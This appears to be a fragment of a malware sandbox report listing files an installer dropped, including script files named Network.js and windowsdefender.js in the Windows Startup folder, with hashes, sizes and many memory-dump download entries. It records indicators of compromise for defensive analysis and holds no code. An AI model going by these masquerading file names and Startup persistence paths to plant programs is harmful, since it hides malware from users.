        • SHA256 75b30a639a54ad0b843436a95889cc090ba55a91171f4c5193e730eb750a65bf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ISTask.dll
        • Path C:\Users\Admin\AppData\Local\Temp\is-IM6BE.tmp\ISTask.dll
        • Size 66KB
        • SHA256 e916bdf232744e00cbd8d608168a019c9f41a68a7e8390aa48cfb525276c483d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VclStylesInno.dll
        • Path C:\Users\Admin\AppData\Local\Temp\is-IM6BE.tmp\VclStylesInno.dll
        • Size 3.0MB
        • SHA256 0e93313f42084d804b9ac4be53d844e549cfcaf19e6f276a3b0f82f01b9b2246
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        p2.bin
        • Path C:\Users\Admin\AppData\Local\Temp\wrk\p2.bin
        • Size 1.3MB
        • SHA256 ab8ebb8c0833654ea9671503f46e241ccb4d01502167ee3cd91ffc7fa73ee1f4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Network.js
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network.js
        • Size 37KB
        • SHA256 e42a19a13c9c0193e63d6a2081492aa25f7746c7dc47c3ca204c72caaf8da996
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        windowsdefender.js
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsdefender.js
        • Size 344KB
        • SHA256 a0c9f6cf83e83a11fc30da3f6f9e3c168e11812f346f01dc7c79191086df701a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        GUTracksIni.tmp
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUTracksIni.tmp
        • Size 204KB
        • SHA256 f76eaf824ef2e3c80c7186dab37d213e82f17388145171d12ec585114a5264a4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1468-3485-0x0000000006C20000-0x0000000006C6C000-memory.dmp
        Download

        memory/1468-3504-0x00000000086E0000-0x00000000086EA000-memory.dmp
        Download

        memory/1468-3508-0x0000000008790000-0x00000000087AA000-memory.dmp
        Download

        memory/1468-3507-0x0000000008720000-0x0000000008734000-memory.dmp
        Download

        memory/1468-3510-0x0000000008810000-0x0000000008886000-memory.dmp
        Download

        memory/1468-3506-0x0000000008710000-0x000000000871E000-memory.dmp
        Download

        memory/1468-3484-0x0000000006190000-0x00000000064E4000-memory.dmp
        Download

        memory/1468-3509-0x0000000008770000-0x0000000008778000-memory.dmp
        Download

        memory/1468-3486-0x0000000006B40000-0x0000000006B84000-memory.dmp
        Download

        memory/1468-3487-0x0000000005360000-0x000000000536A000-memory.dmp
        Download

        memory/1468-3488-0x0000000007DD0000-0x0000000007E6C000-memory.dmp
        Download

        memory/1468-3505-0x00000000086F0000-0x0000000008701000-memory.dmp
        Download

        memory/1468-3492-0x00000000085B0000-0x00000000085E2000-memory.dmp
        Download

        memory/1468-3493-0x0000000074440000-0x000000007448C000-memory.dmp
        Download

        memory/1468-3502-0x0000000007F10000-0x0000000007F2E000-memory.dmp
        Download

        memory/1468-3494-0x000000006F340000-0x000000006F694000-memory.dmp
        Download

        memory/1468-3503-0x00000000085F0000-0x0000000008693000-memory.dmp
        Download

        memory/1544-759-0x0000000006920000-0x000000000693E000-memory.dmp
        Download

        memory/1544-760-0x0000000006970000-0x00000000069BC000-memory.dmp
        Download

        memory/1544-756-0x0000000006480000-0x00000000067D4000-memory.dmp
        Download

        memory/1544-1549-0x0000000008E10000-0x000000000948A000-memory.dmp
        Download

        memory/1544-1213-0x00000000081E0000-0x0000000008784000-memory.dmp
        Download

        memory/1544-1131-0x0000000007B90000-0x0000000007C26000-memory.dmp
        Download

        memory/1544-1142-0x0000000006F00000-0x0000000006F1A000-memory.dmp
        Download

        memory/1544-1155-0x0000000007B20000-0x0000000007B42000-memory.dmp
        Download

        memory/1544-748-0x0000000006310000-0x0000000006376000-memory.dmp
        Download

        memory/1544-741-0x0000000005350000-0x0000000005386000-memory.dmp
        Download

        memory/1544-747-0x0000000006230000-0x0000000006296000-memory.dmp
        Download

        memory/1544-742-0x0000000005B30000-0x0000000006158000-memory.dmp
        Download

        memory/1544-746-0x0000000006190000-0x00000000061B2000-memory.dmp
        Download

        memory/2368-3166-0x0000000000010000-0x0000000000019000-memory.dmp
        Download

        memory/2484-3512-0x0000000005BA0000-0x0000000005BAA000-memory.dmp
        Download

        memory/2484-3490-0x0000000000400000-0x0000000000418000-memory.dmp
        Download

        memory/2484-3511-0x0000000005BD0000-0x0000000005C62000-memory.dmp
        Download

        memory/3244-708-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-702-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-676-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-674-0x0000000003B40000-0x0000000003B41000-memory.dmp
        Download

        memory/3244-675-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-686-0x0000000003B80000-0x0000000003B81000-memory.dmp
        Download

        memory/3244-687-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-689-0x0000000003B90000-0x0000000003B91000-memory.dmp
        Download

        memory/3244-691-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-694-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-700-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-678-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-679-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-680-0x0000000003B60000-0x0000000003B61000-memory.dmp
        Download

        memory/3244-681-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-682-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-683-0x0000000003B70000-0x0000000003B71000-memory.dmp
        Download

        memory/3244-709-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-716-0x0000000003C20000-0x0000000003C21000-memory.dmp
        Download

        memory/3244-684-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-685-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-688-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-690-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-692-0x0000000003BA0000-0x0000000003BA1000-memory.dmp
        Download

        memory/3244-693-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-717-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-721-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-695-0x0000000003BB0000-0x0000000003BB1000-memory.dmp
        Download

        memory/3244-696-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-697-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-698-0x0000000003BC0000-0x0000000003BC1000-memory.dmp
        Download

        memory/3244-699-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-701-0x0000000003BD0000-0x0000000003BD1000-memory.dmp
        Download

        memory/3244-666-0x00000000034B0000-0x00000000034C6000-memory.dmp
        Download

        memory/3244-703-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-704-0x0000000003BE0000-0x0000000003BE1000-memory.dmp
        Download

        memory/3244-706-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-707-0x0000000003BF0000-0x0000000003BF1000-memory.dmp
        Download

        memory/3244-710-0x0000000003C00000-0x0000000003C01000-memory.dmp
        Download

        memory/3244-711-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-712-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-713-0x0000000003C10000-0x0000000003C11000-memory.dmp
        Download

        memory/3244-714-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-715-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-718-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-719-0x0000000003C30000-0x0000000003C31000-memory.dmp
        Download

        memory/3244-672-0x00000000036D0000-0x00000000039EA000-memory.dmp
        Download

        memory/3244-720-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-723-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-724-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-722-0x0000000003C40000-0x0000000003C41000-memory.dmp
        Download

        memory/3244-725-0x0000000003C50000-0x0000000003C51000-memory.dmp
        Download

        memory/3244-726-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-727-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-728-0x0000000003C60000-0x0000000003C61000-memory.dmp
        Download

        memory/3244-729-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-730-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-731-0x0000000003C70000-0x0000000003C71000-memory.dmp
        Download

        memory/3244-732-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-733-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-705-0x00000000039F0000-0x0000000003B30000-memory.dmp
        Download

        memory/3244-677-0x0000000003B50000-0x0000000003B51000-memory.dmp
        Download

        memory/3996-646-0x0000000000400000-0x0000000000417000-memory.dmp
        Download

        memory/4580-739-0x0000000000400000-0x000000000053B000-memory.dmp
        Download

        memory/4580-2468-0x0000000000400000-0x000000000053B000-memory.dmp
        Download

        memory/4580-3473-0x0000000000400000-0x000000000053B000-memory.dmp
        Download

        memory/4580-652-0x0000000000400000-0x000000000053B000-memory.dmp
        Download